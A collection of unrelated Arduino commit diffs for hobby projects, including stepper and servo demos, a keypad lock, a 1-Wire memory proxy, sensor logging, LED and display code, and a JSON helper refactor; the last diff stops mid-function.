Added info

Added info

Added information about this sketch, and links to the EasyDriver web site.

--- EasyDriver_NEMA17/bare_demo/bare_demo.ino
+++ EasyDriver_NEMA17/bare_demo/bare_demo.ino
@@ -1,3 +1,14 @@
+/*
+This sketch is used to demonstrated the EasyDriver motor controller board with
+a NEMA17 stepper motor.
+
+For more informaiton on the EasyDriver, please go to http://www.schmalzhaus.com/EasyDriver/
+
+More examples to help you learn the details of the EasyDriver are here: http://www.schmalzhaus.com/EasyDriver/Examples/EasyDriverExamples.html
+
+*/
+
+
 void setup() {
   pinMode(8, OUTPUT);
   pinMode(9, OUTPUT);


Fixed some Stupid decisions...

Fixed some Stupid decisions...

--- ComboKeypad/Keypad.ino
+++ ComboKeypad/Keypad.ino
@@ -18,16 +18,16 @@
 int input[numOfCombos]; //Saves what the user has clicked
 //

-const short int del = 10000;   //Timer(10s), if user inputs a number
+const int del = 10000;   //Timer(10s), if user inputs a number
                                //and not inputs another within 10 seconds program will reset
 unsigned long time;
-short int buttonsRead[numOfButtons];   //Stores the "digitalRead()" of buttons[]
-const short int buttonStream = 2;   //Electricity for the buttons, didnt really know how to name this one so buttonStream it is
-const short int rightLight = 9;   //Correct combo PIN, "Green" light
-const short int wrongLight = 8;   //Incorrect combo PIN, "Red" Light
+int buttonsRead[numOfButtons];   //Stores the "digitalRead()" of buttons[]
+const int buttonStream = 2;   //Electricity for the buttons, didnt really know how to name this one so buttonStream it is
+const int rightLight = 9;   //Correct combo PIN, "Green" light
+const int wrongLight = 8;   //Incorrect combo PIN, "Red" Light
 ///
 /*----(Function prototyping)----*/
-void pressButton(short int num, short int digRead);
+void pressButton(int num, int digRead);
 void reset();
 void debug();

@@ -35,7 +35,7 @@
 /*----(Function setup)----*/
 void setup() {
     //Used to be able to add as many buttons as you want
-    for(short int setb = 0; setb < numOfButtons; setb++){
+    for(int setb = 0; setb < numOfButtons; setb++){
       pinMode(buttons[setb], INPUT); // sets All Input pin
      }

@@ -53,7 +53,7 @@
 /*----(Function loop)----*/
 void loop() {
     //Gets the Button States
-for(short int state = 0; state < numOfButtons; state++){
+for(int state = 0; state < numOfButtons; state++){
   buttonsRead[state] = digitalRead(buttons[state]); // First Switch
 }

@@ -66,8 +66,8 @@
       reset();
     }

-short int value = 0;   //how many combos are correct
-for(short int a = 0; a < numOfCombos; a++){
+int value = 0;   //how many combos are correct
+for(int a = 0; a < numOfCombos; a++){
     if(input[a] == combination[a]){   //Checks if the input and the combo are the same
      value++;   //Adds one if combo is correct
     }
@@ -90,7 +90,7 @@
 /// this for loop is here to be able to customize this code                 ///
 /// to add any amount of combinations and buttons                           ///
 ///////////////////////////////////////////////////////////////////////////////
-for(short int a = 0; a < numOfCombos; a++){
+for(int a = 0; a < numOfCombos; a++){
   if(input[a] != combination[a] && count == numOfCombos){
     digitalWrite(wrongLight, 1);   //Lights up the "red" button
      Serial.println("Wrong");   //Prints that the combination is wrong
@@ -114,16 +114,16 @@
 //////////////////////////////////////////////////////

 //Function pressButton, If user presses a Button
-void pressButton(short int num, short int digRead){
+void pressButton(int num, int digRead){
   if (digRead == 1 && doonce != true) { // If I hit a Button
    time = millis();   //Starts the 10 second timer
     input[count] = num + 1; // sends the number 1 into the array at the "count number"
      count++; // Where to put 4 into the array
       doonce = true;
     }
-    short int exists;
+    int exists;

-      for(short int a = 0; a < numOfButtons; a++){
+      for(int a = 0; a < numOfButtons; a++){
         if(buttonsRead[a] == 0){
           exists++;
         }
@@ -141,7 +141,7 @@

 /*----(Function Reset)----*/
 void reset() {
-  for (short int inputIndex = 0; inputIndex < numOfCombos; inputIndex++) {
+  for (int inputIndex = 0; inputIndex < numOfCombos; inputIndex++) {
     input[inputIndex] = 0;   //Zeros the input array
   }

@@ -158,7 +158,7 @@
    Serial.print(count);
     Serial.print(", |");

-     for(short int a = 0; a < numOfCombos; a++){
+     for(int a = 0; a < numOfCombos; a++){
       Serial.print(input[a]);   //Prints which number has been pressed
     }
   Serial.println();


Removed old file.

Removed old file.

--- onewireProxy.ino
+++ onewireProxy.ino
@@ -1,159 +0,0 @@
-#include <OneWire.h>
-
-OneWire ds(12);
-
-void setup(void) {
-  // initialize inputs/outputs
-  // start serial port
-  Serial.begin(9600);
-}
-
-void romRead(void) {
-      uint8_t someBytes[9];
-    memset(someBytes, 0, sizeof(someBytes));
-    if (ds.reset())
-    {
-      ds.write(0x33);
-      ds.read_bytes(someBytes, sizeof(someBytes));
-    }
-    Serial.write(someBytes, sizeof(someBytes));
-}
-
-void flashRead(void) {
-    uint8_t moreBytes[16];
-    memset(moreBytes, 0, sizeof(moreBytes));
-    if (ds.reset())
-    {
-      ds.write(0xCC);
-      ds.write(0xF0);
-      ds.write(0x00);
-      ds.write(0x00);
-      // Read each byte of 512 and mirror onto prox
-      for( int i = 0; i < 512; i++)
-      {
-        Serial.write(ds.read());
-      }
-    }
-}
-
-void flashWrite(void) {
-      // Write to the Flash
-    // Allocate and clear some ram to buffer into
-    uint8_t newFlash[512];
-    memset(newFlash, 0, sizeof(newFlash));
-
-    //Fill it with data
-    Serial.readBytes((char*) newFlash, sizeof(newFlash));
-
-    // Each loop is a 4 byte chunk
-    uint8_t bytesPerWrite = 8;
-    for( uint16_t offset = 0; offset < (512/bytesPerWrite); offset++)
-    {
-      uint16_t memAddress = offset * bytesPerWrite;
-      // Fail if presense fails
-      if (!ds.reset()) {
-        Serial.write("fp0");
-        return;
-      }
-      ds.write(0xCC); // Skip ROM
-      ds.write(0x0F); // Write Scratch Pad
-
-      // Compute the two byte address
-      uint8_t a1 = (uint8_t) memAddress;
-      uint8_t a2 = (uint8_t) (memAddress >> 8);
-
-      // Write the offset bytes . . . why in this order?!?!?
-      ds.write(a1);
-      ds.write(a2);
-
-      // Fill the 4 byte scratch pad
-      for (uint8_t i = 0; i < bytesPerWrite; i++)
-        ds.write(newFlash[memAddress + i]);
-
-      // Fail if presense fails
-      if (!ds.reset()) {
-        Serial.write("fp1");
-        return;
-      }
-      ds.write(0xCC); // Skip ROM
-      ds.write(0xAA); // Read scratch pad
-
-      // Confirm offset gets mirrored back, otherwise fail
-      if(ds.read() != a1) {
-        Serial.write("fo1");
-        return;
-      }
-      if(ds.read() != a2) {
-        Serial.write("fo2");
-        return;
-      }\
-
-      // Read the confirmation byte, store it
-      uint8_t eaDS = ds.read();
-      // Check the scratchpad contents
-      for (int i = 0; i < bytesPerWrite; i++)
-      {
-        uint8_t verifyByte = ds.read();
-        if ( verifyByte != newFlash[(offset*bytesPerWrite + i)])
-        {
-          Serial.println("fvv");
-          return;
-        }
-      }
-      // Fail if presense fails
-      if (!ds.reset()) {
-        Serial.write("fp2");
-        return;
-      }
-      // Commit the 8 bytes above
-      ds.write(0xCC); // Skip ROM
-      ds.write(0x55); // Copy scratchpad
-
-      // Confirmation bytes
-      ds.write(a1);
-      ds.write(a2);
-      ds.write(eaDS, 1); // Pullup!
-      delay(5); // Wait 5 ms per spec.
-    }
-    Serial.println("t");
-}
-
-
-
-void loop(void) {
-  if (Serial.available() == 0)
-    return;
-
-  int bRead = Serial.read();
-  if (bRead == -1)
-    return;
-  char cmdBuffer = bRead;
-
-  switch (cmdBuffer)
-  {
-  case 'r':       // Read the ROM
-    romRead();
-    break;
-  case 'f':      //  Read the Flash
-    flashRead();
-    break;
-  case 'w':
-    flashWrite();
-    break;
-  case 'x':  // Check   from chip present/absent
-    if (ds.reset())
-      Serial.write("p");
-    else
-      Serial.write("a");
-    break;
-  case 'e':   // Echo
-    Serial.write('e');
-    break;
-  }
-}
-
-
-
-
-
-


Initial servo commit

Initial servo commit

--- tracker/tracker.ino
+++ tracker/tracker.ino
@@ -14,19 +14,89 @@
 ----------------------------------------------------
 */

-int lightPin0 = 0;  //define a pin for Photo resistor
-int lightPin1 = 1;
+#include <Servo.h>
+
+#define PIN_LDR_UP    0 // PC0
+#define PIN_LDR_DOWN  1 // PC1
+#define PIN_LDR_LEFT  2 // PC2
+#define PIN_LDR_RIGHT 3 // PC3
+#define THRESHOLD_LDR_VIRT 20
+#define THRESHOLD_LDR_HORZ 20
+
+#define SERVO_PIN_VIRT 8 // PB0
+#define SERVO_PIN_HORZ 9 // PB1
+
+Servo servo_virt;
+Servo servo_horz;

 void setup()
 {
     Serial.begin(9600);
+
+    servo_virt.attach(SERVO_PIN_VIRT);
+    servo_horz.attach(SERVO_PIN_HORZ);
 }

 void loop()
 {
-    Serial.print(analogRead(lightPin0));
-    Serial.print(':');
-    Serial.print(analogRead(lightPin1));
-    Serial.println();
+    // Move the panels if needed.
+    tkr_move();
     delay(100);
 }
+
+void tkr_move()
+{
+    int dist_virt = tkr_dist_virt();
+    int dist_horz = tkr_dist_horz();
+    Serial.println();
+
+    if (dist_virt) {
+      // move up or down, within range.
+      byte deg = map(dist_virt, 100, 1023, 0, 170);
+      servo_virt.write(deg);
+    }
+
+    if (dist_horz) {
+      // move left or right, within range.
+      byte deg = map(dist_horz, 0, 1023, 0, 180);
+      servo_horz.write(deg);
+    }
+
+}
+
+int tkr_dist_virt()
+{
+    int up = analogRead(PIN_LDR_UP);
+    int down = analogRead(PIN_LDR_DOWN);
+
+    Serial.print(up);
+    Serial.print(':');
+    Serial.print(down);
+    Serial.print(':');
+
+    int diff = abs(up - down);
+    if (diff > THRESHOLD_LDR_VIRT) {
+      return diff;
+    }
+
+    return 0;
+}
+
+int tkr_dist_horz()
+{
+    int left = analogRead(PIN_LDR_LEFT);
+    int right = analogRead(PIN_LDR_RIGHT);
+
+    Serial.print(left);
+    Serial.print(':');
+    Serial.print(right);
+    Serial.print(':');
+
+    int diff = abs(left - right);
+    if (diff > THRESHOLD_LDR_HORZ) {
+      return diff;
+    }
+
+    return 0;
+}
+


Update CastleAritechArduinoRKP.ino

Update CastleAritechArduinoRKP.ino

--- CastleAritechArduinoRKP/CastleAritechArduinoRKP.ino
+++ CastleAritechArduinoRKP/CastleAritechArduinoRKP.ino
@@ -122,7 +122,7 @@
 	WebSocket::EtherPoll();

 	//Send Email if Alarm
-	if(SMTP::nEmailStage >= 0)	//TODO: put back
+	if(SMTP::nEmailStage >= 0)
 		SMTP::SendEmailProcess();

 	//Flash status led
@@ -133,23 +133,8 @@

 		ledFeedbackState = ledFeedbackState == HIGH? LOW:HIGH;
 		digitalWrite(ledFeedback,ledFeedbackState);
-		//LogLn((unsigned long)tiNow);
-		//Log(F("."));
 		//Test comms: RKPClass::SendToPanel( 0 );
 	}
-
-	if (RKPClass::NextKeyPress() == 'X')
-	{
-		Log_ShowMem();
-		RKPClass::PopKeyPress();
-	}
-
-	if (RKPClass::NextKeyPress() == 'A')
-	{
-		SMTP::QueueEmail();
-		RKPClass::PopKeyPress();
-	}
-
 }


Updated Blink without delay example

Updated Blink without delay example

Changed variable to unsigned long.

--- build/shared/examples/02.Digital/BlinkWithoutDelay/BlinkWithoutDelay.ino
+++ build/shared/examples/02.Digital/BlinkWithoutDelay/BlinkWithoutDelay.ino
@@ -9,29 +9,31 @@
  * Note: on most Arduinos, there is already an LED on the board
  that's attached to pin 13, so no hardware is needed for this example.

-
  created 2005
  by David A. Mellis
  modified 8 Feb 2010
  by Paul Stoffregen
+ modified 11 Nov 2013
+ by Scott Fitzgerald
+

  This example code is in the public domain.
-

  http://www.arduino.cc/en/Tutorial/BlinkWithoutDelay
  */

-// constants won't change. Used here to
-// set pin numbers:
+// constants won't change. Used here to set a pin number :
 const int ledPin =  13;      // the number of the LED pin

-// Variables will change:
+// Variables will change :
 int ledState = LOW;             // ledState used to set the LED
-long previousMillis = 0;        // will store last time LED was updated

-// the follow variables is a long because the time, measured in miliseconds,
-// will quickly become a bigger number than can be stored in an int.
-long interval = 1000;           // interval at which to blink (milliseconds)
+// Generally, you shuould use "unsigned long" for variables that hold time
+// The value will quickly become too large for an int to store
+unsigned long previousMillis = 0;        // will store last time LED was updated
+
+// constants won't change :
+const long interval = 1000;           // interval at which to blink (milliseconds)

 void setup() {
   // set the digital pin as output:
@@ -48,7 +50,7 @@
   // blink the LED.
   unsigned long currentMillis = millis();

-  if(currentMillis - previousMillis > interval) {
+  if(currentMillis - previousMillis >= interval) {
     // save the last time you blinked the LED
     previousMillis = currentMillis;


Typo fix

Typo fix

--- examples/h_SDI-12_slave_implementation/h_SDI-12_slave_implementation.ino
+++ examples/h_SDI-12_slave_implementation/h_SDI-12_slave_implementation.ino
@@ -206,9 +206,8 @@
         // '!' should be the last available character anyway, but exit the "for" loop
         // just in case there are any stray characters
         slaveSDI12.clearBuffer();
-        //to eliminate the chance to sense anoter information from outsite with
-        //the interrupt pin - set as hold and continue to code
-        slaveSDI12.forceHold();
+        // eliminate the chance of getting anything else after the '!'
+        slaveSDI12.forceHold();
         break;
       }
       // If the current character is anything but '!', it is part of the command
@@ -233,7 +232,8 @@
       // Populate the "dValues" String array with the values in SDI-12 format
       formatOutputSDI(measurementValues, dValues, 75);
       state = WAIT;
-      slaveSDI12.forceListen();  // sets SDIPIN as input to prepare for incoming message AGAIN
+      slaveSDI12
+        .forceListen();  // sets SDI-12 pin as input to prepare for incoming message AGAIN
       break;
     case INITIATE_MEASUREMENT:
       // Do whatever the sensor is supposed to do here
@@ -246,7 +246,8 @@
       // For aM!, Send "service request" (<address><CR><LF>) when data is ready
       slaveSDI12.sendResponse(String(sensorAddress) + "\r\n");
       state = WAIT;
-      slaveSDI12.forceListen();  // sets SDIPIN as input to prepare for incoming message AGAIN
+      slaveSDI12
+        .forceListen();  // sets SDI-12 pin as input to prepare for incoming message AGAIN
       break;
   }
 }


system_update_cpu_freq

--- _02-mqtt-sw-temperature/_02-mqtt-sw-temperature.ino
+++ _02-mqtt-sw-temperature/_02-mqtt-sw-temperature.ino
@@ -21,6 +21,9 @@
 #define DEVICE_ID 1
 #define CHANNEL 100 //MAX 127

+#define SYS_CPU_80MHz 80
+#define SYS_CPU_160MHz 160
+
 extern "C" {
 #include "user_interface.h"
 }
@@ -155,7 +158,6 @@
 //
 int relayIsReady = HIGH;

-
 //declaration
 void dht_wrapper(); // must be declared before the lib initialization

@@ -293,6 +295,7 @@

 void setup()
 {
+  system_update_cpu_freq(SYS_CPU_160MHz);
   if (DEBUG_PRINT) {
     Serial.begin(115200);
   }


FIX missing software serial include

FIX missing software serial include

--- arduino_lib/JSCRoboControl/examples/SimpleOutputExample/SimpleOutputExample.ino
+++ arduino_lib/JSCRoboControl/examples/SimpleOutputExample/SimpleOutputExample.ino
@@ -1,4 +1,5 @@
 #include <JSCRoboControl.h>
+#include <SoftwareSerial.h>

 void setup() { // Alle benutzten Pins einrichten
   pinMode(12, OUTPUT);


make PCARS usermod compatible with WLED > 0.10.0

--- usermods/project_cars_shiftlight/wled06_usermod.ino
+++ usermods/project_cars_shiftlight/wled06_usermod.ino
@@ -18,25 +18,6 @@
 long PCARS_lastRead = millis() - 2001;
 float PCARS_rpmRatio;

-
-void userSetup()
-{
-  UDP.begin(PCARS_localUdpPort);
-}
-
-void userConnected()
-{
-  // new wifi, who dis?
-}
-
-void userLoop()
-{
-  PCARS_readValues();
-  if (PCARS_lastRead > millis() - 2000) {
-    PCARS_buildcolorbars();
-  }
-}
-
 void PCARS_readValues() {

   int PCARS_packetSize = UDP.parsePacket();
@@ -48,7 +29,7 @@
     if (len == 1367) { // Telemetry packet. Ignoring everything else.
       PCARS_lastRead = millis();

-      arlsLock(realtimeTimeoutMs, REALTIME_MODE_GENERIC);
+      realtimeLock(realtimeTimeoutMs, REALTIME_MODE_GENERIC);
       // current RPM
       memcpy(&PCARS_tempChar, &PCARS_packet[124], 2);
       PCARS_RPM = (PCARS_tempChar[1] << 8) + PCARS_tempChar[0];
@@ -93,4 +74,22 @@
   }
   colorUpdated(5);
   strip.show();
+}
+
+void userSetup()
+{
+  UDP.begin(PCARS_localUdpPort);
+}
+
+void userConnected()
+{
+  // new wifi, who dis?
+}
+
+void userLoop()
+{
+  PCARS_readValues();
+  if (PCARS_lastRead > millis() - 2000) {
+    PCARS_buildcolorbars();
+  }
 }


Allow some init time for display; fixes blank display on initial power-up on teensy 3.1

--- tiny_scope.ino
+++ tiny_scope.ino
@@ -75,8 +75,9 @@
 }

 void setup(){
+    adc.setMode(ADC_MODE);
+    delay(100);  // give time for display to init; if display blank increase delay
     display.begin(SSD1306_SWITCHCAPVCC, DISPLAY_I2C_ADDRESS);
-    adc.setMode(ADC_MODE);
     displaySplash();
     if (capture.init()){
         display.print(F("Reading A/D data..."));


Potential dB value display bugfix

Potential dB value display bugfix

--- ArduinoAudioSpectrumAnalyzer.ino
+++ ArduinoAudioSpectrumAnalyzer.ino
@@ -181,7 +181,8 @@
 {
 	//const auto rmsExtremums = findMinMax(rmsHistory);

-	constexpr int vuTextWidth = (5 + 3) * 6;
+	constexpr int symbolSize = 6;
+	constexpr int vuTextWidth = (5 + 3) * symbolSize;

 	static auto previousPeak = peakHistory.back();

@@ -205,13 +206,16 @@
 	tft.drawFastVLine(peakLevelXpos, vuYpos, vuHeight, RGB_to_565(255, 0, 30));

 	//const int8_t db = 10.0f * log10(rmsHistory.back() / 1024.0f) = 10.0f * log(rmsHistory.back() / 1024.0f) / log(10.0f) = 10.0f * (log(rmsHistory.back()) - log(1024.0f) / log(10.0f);
-	const int16_t db = 100.0f * (log10f_fast((float)rms) - 3.0103f);
+	const int16_t dB = 100.0f * (log10f_fast((float)rms) - 3.0103f);
+	const int8_t integralDbPart = dB / 10;
+	const uint8_t fractionalDbPart = abs(dB - integralDbPart * 10);

 	tft.setTextSize(1);
+	tft.setTextColor(RGB_to_565(0, 255, 0), RGB_to_565(0, 0, 0));
 	tft.setCursor(ScreenWidth - vuTextWidth, vuYpos);
-	tft.setTextColor(RGB_to_565(0, 255, 0), RGB_to_565(0, 0, 0));
-	//tft.print(paddedString(String(db), 5, false));
-  tft.print(db);
+	tft.print(paddedString(String(integralDbPart), 3, false));
+	tft.print('.');
+	tft.print(fractionalDbPart);
 }

 inline void drawStaticUiElements()


adding relay module code.  Frist relay is litchswitch!

--- plantstation.ino
+++ plantstation.ino
@@ -6,6 +6,9 @@
 //=====for writting to the console=============
 #include "Bridge.h"
 #include "Console.h"
+
+//=====for 4 Relay Module======================
+#define LightSwitch 4

 //=====for Probe Thermometer===================
 #include "OneWire.h"
@@ -57,6 +60,7 @@
 long minFiveInterval = 300000;

 void setup() {
+  pinMode(LightSwitch, OUTPUT);
   Serial.begin(9600);
   Serial.println("PlantStation is warming up\n");
   myDHT.begin();
@@ -103,12 +107,12 @@
 void switchLights() {

   if (lightOnThreshold > lightResistorVal && !lightIsOn) {
-    // flip switch on
+    digitalWrite(LightSwitch, HIGH);
     lightIsOn = true;
   }

   if (lightOnThreshold < lightResistorVal && lightIsOn) {
-    // flip switch off
+    digitalWrite(LightSwitch, LOW);
     lightIsOn = false;
   }


issue current read

issue current read

minor changes

--- send/send.ino
+++ send/send.ino
@@ -47,6 +47,8 @@
 // ***************************
 // EPOS2 CANOpen Communication
 // ***************************
+//
+// Data comes with Lowest Bit First

 // Statemachine
 unsigned char set_pre_operational[2] = {0x80, 0};
@@ -177,11 +179,12 @@
 //    Serial.print("Encoder: ");
 //    Serial.println(encoder_data, DEC);

-    // Serial.print("Loadcell: ");
-    // Serial.println(loadcell_data_double);
+     Serial.print("Loadcell: ");
+     Serial.println(loadcell_data_double);

     return(encoder_data);
   }
+}

 float currentDataRead()
 {
@@ -198,8 +201,25 @@

     unsigned int canId = CAN.getCanId();

+    // Serial.print("Current: ");
+
+    //   for(int i = 0; i<len; i++)    // print the data
+    //     {
+    //         Serial.print(buf[i], HEX);
+    //         Serial.print("\t");
+    //     }
+    // Serial.println();
+
+    current_data = buf[4];
+    current_data <<= 8;
+    current_data = current_data | buf[5];
+    current_data <<= 8;
+    current_data = current_data | buf[6];
+    current_data <<= 8;
+    current_data = current_data | buf[7];
+
     Serial.print("Current: ");
-    Serial.println(buf);
+    Serial.println(current_data);

     return(current_data);
   }
@@ -214,9 +234,9 @@
       doStartup();
       break;
     case Operational:
-      amplificationBoardDataRead();
-      currentdataRead(current_data);
-      positionSetpoint(encoder_data);
+//      amplificationBoardDataRead();
+      currentDataRead();
+//      positionSetpoint(encoder_data);
       break;
   }
   delay(100);


Motor ganglion script as SPI slave

Motor ganglion script as SPI slave


Fix typo

Fix typo

--- examples/Boards_GSM/Arduino_MKRNB/Arduino_MKRNB.ino
+++ examples/Boards_GSM/Arduino_MKRNB/Arduino_MKRNB.ino
@@ -23,7 +23,7 @@
 #define BLYNK_PRINT Serial

 #include <MKRNB.h>
-#include <BlynkSimpleMKNB.h>
+#include <BlynkSimpleMKRNB.h>

 NBClient client;
 GPRS gprs;


refactored separate turn loops into "turnServo" function - smart enough to know whether to turn left or right

--- servo-turning-sine-wave/servo-turning-sine-wave.ino
+++ servo-turning-sine-wave/servo-turning-sine-wave.ino
@@ -3,62 +3,117 @@
 #include <Math.h>
 #include <Servo.h>

+//
+// CONSTANTS
+//
+
+// multiply by degrees to get radians
+//
+const double RADIANS_PER_DEGREE = 0.0174532925;
+
+const int LEFT_LIMIT = 20;
+const int RIGHT_LIMIT = 130;
+
+// milliseconds to wait between servo movement
+const int GENTLE_DELAY = 30;
+
+// maximum servo movement per iteration
+const int ANGLE_INCREMENT = 3;
+
+// milliseconds to wait at one end point before reversing rotation
+const int TURN_AROUND_DELAY = 10;
+
+//
+// GLOBALS
+//
+
 Servo myservo;  // create servo object to control a servo
                 // a maximum of eight servo objects can be created

-// multiply by degrees to get radians
-//
-const double degrees_to_radians = 0.0174532925;
+int currAngle = 90;

 void setup()
 {
-  myservo.attach(9);  // attaches the servo on pin 9 to the servo object
-  myservo.write(90);
+  myservo.attach(9);   // attaches the servo on pin 9 to the servo object
+  myservo.write(currAngle);

   // initialize digital pin 13 as an output.
   pinMode(13, OUTPUT);

-  Serial.begin(9600);      // open the serial port at 9600 bps:
+  Serial.begin(9600);  // open the serial port at 9600 bps:
+
+  delay(3000);         // wait long enough to open Serial console
 }

 void loop()
 {
-  const int startAngle = 20;
-  const int endAngle = 130;
-
-  // milliseconds to wait between servo movement
-  const int delayTime = 30;
-
-  // maximum servo movement per iteration
-  const int increment = 3;
-
-  // milliseconds to wait at one end point before reversing rotation
-  const int turnaroundTime = 10;
-
-  int angle = 0;
-
-  delay(turnaroundTime);
+  delay(TURN_AROUND_DELAY);
+  //  Serial.println("------------------------------------------------------------");

   digitalWrite(13, HIGH);   // turn the LED on (HIGH is the voltage level)
-  for(angle = startAngle; angle < endAngle; )
-  {
-    myservo.write(angle);       // tell servo to go to position in variable 'angle'
-    delay(delayTime);           // waits for the servo to reach the position
+  currAngle = turnServo(myservo, currAngle, RIGHT_LIMIT, GENTLE_DELAY);

-    angle += calcDeltaAngle(angle, startAngle, endAngle, increment);
+  delay(TURN_AROUND_DELAY);
+  //  Serial.println("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");
+
+  digitalWrite(13, LOW);    // turn the LED off by making the voltage LOW
+  currAngle = turnServo(myservo, currAngle, LEFT_LIMIT, GENTLE_DELAY);
+}
+
+int turnServo(Servo servo, int startAngle, int endAngle, int delayTime)
+{
+  int angle = startAngle;
+
+  // turn right
+  if (startAngle < endAngle) {
+    while (angle < endAngle)
+    {
+      //      Serial.print("RIGHT:\t");
+      //      Serial.println(angle);
+
+      servo.write(angle);         // tell servo to go to position in variable 'angle'
+      delay(delayTime);           // waits for the servo to reach the position
+
+      angle += calcDeltaAngle(angle, startAngle, endAngle, ANGLE_INCREMENT);
+    }
+  }
+  // turn left
+  else if (startAngle > endAngle) {
+    while (angle > endAngle)
+    {
+      //      Serial.print("LEFT:\t");
+      //      Serial.println(angle);
+
+      servo.write(angle);         // tell servo to go to position in variable 'angle'
+      delay(delayTime);           // waits for the servo to reach the position
+
+      // note decrement instead of increment
+      angle -= calcDeltaAngle(angle, endAngle, startAngle, ANGLE_INCREMENT);
+    }
+  }
+  // don't turn
+  else {
+    Serial.print("NO OP:\t");
+    Serial.println(angle);
   }

-  delay(turnaroundTime);
+  return angle;
+}

-  digitalWrite(13, LOW);    // turn the LED off by making the voltage LOW
-  for(angle = endAngle; angle > startAngle; )
-  {
-    myservo.write(angle);       // tell servo to go to position in variable 'angle'
-    delay(delayTime);           // waits for the servo to reach the position
+// Rotate servo 'numShakes' back & forth, starting at 'startAngle'.
+// Returns final angle of head
+//
+int shakeServo(int startAngle, int numShakes)
+{
+  const int offCenter = 15;

-    // note decrement instead of increment
-    angle -= calcDeltaAngle(angle, startAngle, endAngle, increment);
-  }
+  int rightAngle = startAngle + offCenter;
+  int leftAngle = startAngle - offCenter;
+
+//  shakeRight(startAngle, rightAngle);
+//  shakeLeft(leftAngle, startAngle);
+
+  return startAngle;
 }

 int calcDeltaAngle(int angle, int startAngle, int endAngle, int maxAngleIncrement)
@@ -73,7 +128,7 @@
   int offsetAngle = angle - startAngle;
   double normalizedOffset = rangeRatio * offsetAngle;

-  double rad = normalizedOffset * degrees_to_radians;
+  double rad = normalizedOffset * RADIANS_PER_DEGREE;
   double sineValue = sin(rad);
   int increAngle = ceil(0.1 + maxAngleIncrement * sineValue);


Added support for MSP432 with 128x128

Added support for MSP432 with 128x128

--- hardware/msp432/libraries/EduBPMKII_Screen/examples/LCD_LifeGame/LCD_LifeGame.ino
+++ hardware/msp432/libraries/EduBPMKII_Screen/examples/LCD_LifeGame/LCD_LifeGame.ino
@@ -39,7 +39,9 @@
 /// @see		ReadMe.txt for references
 /// @n
 ///
-
+/// @b  Updated Sep 07, 2015
+/// @n  Support for MSP432 with 128x128
+///

 // Core library for code-sense
 #if defined(ENERGIA) // LaunchPad MSP430, Stellaris and Tiva, Experimeter Board FR5739 specific
@@ -126,6 +128,9 @@
 #elif defined(__LM4F120H5QR__)
 #define ROWS 64 // max 80
 #define COLS 64 // max 60
+#elif defined(__MSP432P401R__)
+#define ROWS 128 // max 80
+#define COLS 128 // max 60
 #else
 #error Board not supported
 #endif


整理した.

整理した.

--- arduino/GeneralIoSerial/GeneralIoSerial.ino
+++ arduino/GeneralIoSerial/GeneralIoSerial.ino
@@ -257,18 +257,6 @@
   return "{" + stringJson("event", event) + "," + wrapDq("datas") + ":[";
 }

-String boolJson(String key, bool value){
-  String str = value ? "true" : "false";
-  return wrapDq(key) + ":" + str;
-}
-
-String intJson(String key, int value){
-  return wrapDq(key) + ":" + String(value);
-}
-
-String stringJson(String key, String value){
-  return wrapDq(key) + ":" + wrapDq(value);
-}

 String task(String msg){
   // 関数テーブルからタスクを決定する.
@@ -380,7 +368,7 @@
   }

   analogWrite(port, val);
-  return ioReturnJson("OK", port, val);
+  return okIoJson("OK", port, val);
 }

@@ -399,7 +387,7 @@
     digitalWrite(port, LOW);
     val = 0;
   }
-  return ioReturnJson("OK", port, val);
+  return okIoJson("OK", port, val);
 }

@@ -421,7 +409,7 @@

 String diRead(uint8_t port){
   int val = digitalRead(port);
-  return ioReturnJson("OK", port, val);
+  return okIoJson("OK", port, val);
 }

 /*
@@ -438,15 +426,9 @@

 String aiRead(uint8_t port){
   int val = analogRead(port);
-  return ioReturnJson("OK", port, val);
-}
-
-String ioReturnJson(String msg, int port, int val){
-  String body = wrapDq("msg") + ":"+wrapDq(msg)
-    + "," + wrapDq("port") + ":" + String(port)
-    + "," + wrapDq("val") + ":" + String(val);
-  return wraped('{', body, '}');
-}
+  return okIoJson("OK", port, val);
+}
+

 /*
@@ -469,11 +451,6 @@
   return NgReturnJson("Illegal type.", ref);
 }

-String switchTypeReturnJson(String msg, String refType){
-  String body = wrapDq("msg") + ":" + wrapDq(msg)
-    + "," + wrapDq("type") + ":" + wrapDq(refType);
-  return wraped('{', body, '}');
-}

 String streamDiOnTask(String query){

@@ -516,14 +493,6 @@
   return okStreamJson(ai_stream_info.enabled, ai_stream_info.ports);
 }

-// portsはDI_STREAM_INFOのportsに合わせてuint64_tにしている
-String okStreamJson(bool enabled, uint64_t ports){
-  String body = stringJson("msg", "OK")
-    + "," + boolJson("enabled", enabled)
-    + "," + intJson("ports", ports);
-  return wraped('{', body, '}');
-
-}

 // シリアルを閉じる.
 String closeSerial(String empty){
@@ -542,22 +511,7 @@
    Utility functions.
  */

-String NgReturnJson(String err, String hint){
-  String body = wrapDq("msg") + ":" + wrapDq("NG") + "," + wrapDq("error") + ":" + wrapDq(err) + "," + wrapDq("hint") + ":" + wrapDq(hint);
-  return wraped('{', body, '}');
-}
-
-String wrapDq(String str){
-  return wrapChar(str, '"');
-}
-
-String wrapChar(String str, char wrap){
-  return wraped(wrap, str, wrap);
-}
-
-String wraped(char before, String body, char after){
-  return before + body + after;
-}
+

 boolean isInt(String str){
   for(int i = 0; i < str.length(); i++){
@@ -629,3 +583,75 @@
   }
   return rslt;
 }
+
+/*
+   JSON変換関連
+ */
+
+// portsはDI_STREAM_INFOのportsに合わせてuint64_tにしている
+String okStreamJson(bool enabled, uint64_t ports){
+  String body = stringJson("msg", "OK") + ","
+    + boolJson("enabled", enabled) + ","
+    + intJson("ports", ports);
+
+  return wrapBrace(body);
+}
+
+
+String okIoJson(String msg, int port, int val){
+  String body = stringJson("msg", msg) + ","
+    + intJson("port", port) + ","
+    + intJson("val", val);
+
+  return wrapBrace(body);
+}
+
+
+String switchTypeReturnJson(String msg, String refType){
+  String body = stringJson("msg", msg) + ","
+    + stringJson("type", refType);
+
+  return wrapBrace(body);
+}
+
+
+String NgReturnJson(String err, String hint){
+  String body = stringJson("msg", "NG") + ","
+    + stringJson("error", err) + ""
+    + stringJson("hint", hint);
+
+  return wrapBrace(body);
+}
+
+String boolJson(String key, bool value){
+  String str = value ? "true" : "false";
+  return wrapDq(key) + ":" + str;
+}
+
+String intJson(String key, int value){
+  return wrapDq(key) + ":" + String(value);
+}
+
+String stringJson(String key, String value){
+  return wrapDq(key) + ":" + wrapDq(value);
